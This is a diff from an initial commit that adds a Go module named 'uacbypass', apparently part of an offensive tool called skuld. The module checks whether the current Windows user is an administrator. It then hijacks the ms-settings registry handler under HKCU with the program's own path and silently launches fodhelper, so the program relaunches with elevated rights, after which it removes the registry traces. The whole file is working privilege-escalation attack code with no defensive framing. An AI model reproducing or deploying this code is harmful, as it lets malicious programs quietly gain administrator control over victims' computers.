initial commit

modules/uacbypass/bypass.go

@@ -0,0 +1,96 @@
+package uacbypass
+
+import (
+	"github.com/hackirby/skuld/utils/program"
+	"os"
+	"os/exec"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func CanElevate() bool {
+	var infoPointer uintptr
+
+	syscall.NewLazyDLL("netapi32.dll").NewProc("NetUserGetInfo").Call(
+		0,
+		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(os.Getenv("USERNAME")))),
+		1,
+		uintptr(unsafe.Pointer(&infoPointer)),
+	)
+
+	defer syscall.NewLazyDLL("netapi32.dll").NewProc("NetApiBufferFree").Call(infoPointer)
+
+	type user struct {
+		Username    *uint16
+		Password    *uint16
+		PasswordAge uint32
+		Priv        uint32
+		HomeDir     *uint16
+		Comment     *uint16
+		Flags       uint32
+		ScriptPath  *uint16
+	}
+
+	info := (*user)(unsafe.Pointer(infoPointer))
+
+	return info.Priv == 2
+}
+
+func Elevate() error {
+	k, _, err := registry.CreateKey(registry.CURRENT_USER,
+		"Software\\Classes\\ms-settings\\shell\\open\\command", registry.ALL_ACCESS)
+	if err != nil {
+		return err
+	}
+
+	defer k.Close()
+
+	value, err := os.Executable()
+	if err != nil {
+		return err
+	}
+
+	if err = k.SetStringValue("", value); err != nil {
+		return err
+	}
+	if err = k.SetStringValue("DelegateExecute", ""); err != nil {
+		return err
+	}
+
+	cmd := exec.Command("cmd.exe", "/C", "fodhelper")
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+	err = cmd.Run()
+	if err != nil {
+		return err
+	}
+
+	err = k.DeleteValue("")
+	if err != nil {
+		return err
+	}
+
+	err = k.DeleteValue("DelegateExecute")
+	if err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func Run() {
+	if program.IsElevated() {
+		return
+	}
+
+	if !CanElevate() {
+		return
+	}
+
+	if err := Elevate(); err != nil {
+		return
+	}
+
+	os.Exit(0)
+}